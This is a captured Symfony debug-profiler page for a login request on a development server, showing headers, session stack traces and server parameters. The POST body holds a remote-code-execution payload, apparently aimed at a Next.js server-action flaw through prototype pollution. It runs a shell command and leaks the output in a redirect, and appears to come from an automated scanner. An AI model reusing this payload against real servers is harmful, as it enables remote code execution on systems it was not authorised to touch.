Request / Response
Request
GET Parameters
No GET parameters
POST Parameters
| Key | Value |
|---|---|
| 0 | "{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 2>&1 | head -c 500 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}" |
| 1 | ""$@0"" |
| 2 | "[]" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _controller | "App\Controller\SecurityController::login" |
| _firewall_context | "security.firewall.map.context.main" |
| _redirected | true |
| _route | "app_login" |
| _route_params | [] |
| _security_firewall_run | "_security_main" |
| _stopwatch_token | "5daeb7" |
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| accept-encoding | "gzip, deflate" |
| connection | "keep-alive" |
| content-length | "772" |
| content-type | "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| cookie | "PHPSESSID=8a8667551ffa825405852c58fe8fa93c; sf_redirect=%7B%22token%22%3A%224067ac%22%2C%22route%22%3A%22app_login%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CSecurityController%22%2C%22method%22%3A%22login%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fcordevant%5C%2Fsrc%5C%2FController%5C%2FSecurityController.php%22%2C%22line%22%3A74%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D" |
| host | "confianzdev.cordevant.com" |
| next-action | "x" |
| user-agent | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" |
| x-nextjs-html-request-id | "SSTMXm7OJ_g0Ncx6jpQt9" |
| x-nextjs-request-id | "b5dce965" |
| x-php-ob-level | "1" |
Request Content
Request content not available (it was retrieved as a resource).
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=utf-8" |
| date | "Thu, 22 Jan 2026 17:05:05 GMT" |
| location | "/login" |
| x-debug-token | "b27780" |
Cookies
Request Cookies
| Key | Value |
|---|---|
| PHPSESSID | "8a8667551ffa825405852c58fe8fa93c" |
| sf_redirect | "{"token":"4067ac","route":"app_login","method":"POST","controller":{"class":"App\\Controller\\SecurityController","method":"login","file":"\/var\/www\/cordevant\/src\/Controller\/SecurityController.php","line":74},"status_code":302,"status_text":"Found"}" |
Response Cookies
No response cookies
Session 2
Session Metadata
| Key | Value |
|---|---|
| Created | "Thu, 22 Jan 26 18:05:04 +0100" |
| Last used | "Thu, 22 Jan 26 18:05:05 +0100" |
| Lifetime | 0 |
Session Attributes
Session Usage
2
Usages
Stateless check enabled
| Usage |
|---|
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
[
[
"file" => "/var/www/cordevant/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
"line" => 41
"function" => "getMetadataBag"
"class" => "Symfony\Component\HttpFoundation\Session\Session"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 172
"function" => "getToken"
"class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 158
"function" => "executeAuthenticator"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 140
"function" => "executeAuthenticators"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
"line" => 40
"function" => "authenticateRequest"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
"line" => 68
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
"line" => 46
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall/AbstractListener.php"
"line" => 26
"function" => "authenticate"
"class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
"line" => 60
"function" => "__invoke"
"class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
"line" => 80
"function" => "__invoke"
"class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall.php"
"line" => 95
"function" => "callListeners"
"class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
"line" => 116
"function" => "onKernelRequest"
"class" => "Symfony\Component\Security\Http\Firewall"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 220
"function" => "__invoke"
"class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 56
"function" => "callListeners"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
"line" => 139
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 157
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 76
"function" => "handleRaw"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/Kernel.php"
"line" => 197
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
"line" => 35
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\Kernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/autoload_runtime.php"
"line" => 29
"function" => "run"
"class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
"type" => "->"
]
[
"file" => "/var/www/cordevant/public/index.php"
"line" => 5
"args" => [
"/var/www/cordevant/vendor/autoload_runtime.php"
]
"function" => "require_once"
]
]
|
Symfony\Component\Security\Http\Authenticator\AbstractLoginFormAuthenticator:51
[
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authenticator/AbstractLoginFormAuthenticator.php"
"line" => 51
"function" => "set"
"class" => "Symfony\Component\HttpFoundation\Session\Session"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticator.php"
"line" => 92
"function" => "onAuthenticationFailure"
"class" => "Symfony\Component\Security\Http\Authenticator\AbstractLoginFormAuthenticator"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 259
"function" => "onAuthenticationFailure"
"class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticator"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 212
"function" => "handleAuthenticationFailure"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 158
"function" => "executeAuthenticator"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
"line" => 140
"function" => "executeAuthenticators"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
"line" => 40
"function" => "authenticateRequest"
"class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
"line" => 68
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
"line" => 46
"function" => "authenticate"
"class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall/AbstractListener.php"
"line" => 26
"function" => "authenticate"
"class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
"line" => 60
"function" => "__invoke"
"class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
"line" => 80
"function" => "__invoke"
"class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/security-http/Firewall.php"
"line" => 95
"function" => "callListeners"
"class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
"line" => 116
"function" => "onKernelRequest"
"class" => "Symfony\Component\Security\Http\Firewall"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 220
"function" => "__invoke"
"class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/EventDispatcher.php"
"line" => 56
"function" => "callListeners"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
"line" => 139
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\EventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 157
"function" => "dispatch"
"class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/HttpKernel.php"
"line" => 76
"function" => "handleRaw"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/http-kernel/Kernel.php"
"line" => 197
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\HttpKernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php"
"line" => 35
"function" => "handle"
"class" => "Symfony\Component\HttpKernel\Kernel"
"type" => "->"
]
[
"file" => "/var/www/cordevant/vendor/autoload_runtime.php"
"line" => 29
"function" => "run"
"class" => "Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner"
"type" => "->"
]
[
"file" => "/var/www/cordevant/public/index.php"
"line" => 5
"args" => [
"/var/www/cordevant/vendor/autoload_runtime.php"
]
"function" => "require_once"
]
]
|
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_ENV | "dev" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "772" |
| CONTENT_TYPE | "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/cordevant/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/cordevant/public" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HTTPS | "on" |
| HTTP_ACCEPT | "*/*" |
| HTTP_ACCEPT_ENCODING | "gzip, deflate" |
| HTTP_CONNECTION | "keep-alive" |
| HTTP_COOKIE | "PHPSESSID=8a8667551ffa825405852c58fe8fa93c; sf_redirect=%7B%22token%22%3A%224067ac%22%2C%22route%22%3A%22app_login%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22App%5C%5CController%5C%5CSecurityController%22%2C%22method%22%3A%22login%22%2C%22file%22%3A%22%5C%2Fvar%5C%2Fwww%5C%2Fcordevant%5C%2Fsrc%5C%2FController%5C%2FSecurityController.php%22%2C%22line%22%3A74%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D" |
| HTTP_HOST | "confianzdev.cordevant.com" |
| HTTP_NEXT_ACTION | "x" |
| HTTP_USER_AGENT | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" |
| HTTP_X_NEXTJS_HTML_REQUEST_ID | "SSTMXm7OJ_g0Ncx6jpQt9" |
| HTTP_X_NEXTJS_REQUEST_ID | "b5dce965" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "" |
| REMOTE_ADDR | "3.143.254.139" |
| REMOTE_PORT | "57082" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "https" |
| REQUEST_TIME | 1769101505 |
| REQUEST_TIME_FLOAT | 1769101505.3565 |
| REQUEST_URI | "/login" |
| SCRIPT_FILENAME | "/var/www/cordevant/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "10.10.1.25" |
| SERVER_ADMIN | "dev@olihost.com" |
| SERVER_NAME | "confianzdev.cordevant.com" |
| SERVER_PORT | "443" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.65 (Ubuntu) Server at confianzdev.cordevant.com Port 443</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.65 (Ubuntu)" |
| SSL_TLS_SNI | "confianzdev.cordevant.com" |
| SYMFONY_DOTENV_VARS | "APP_ENV" |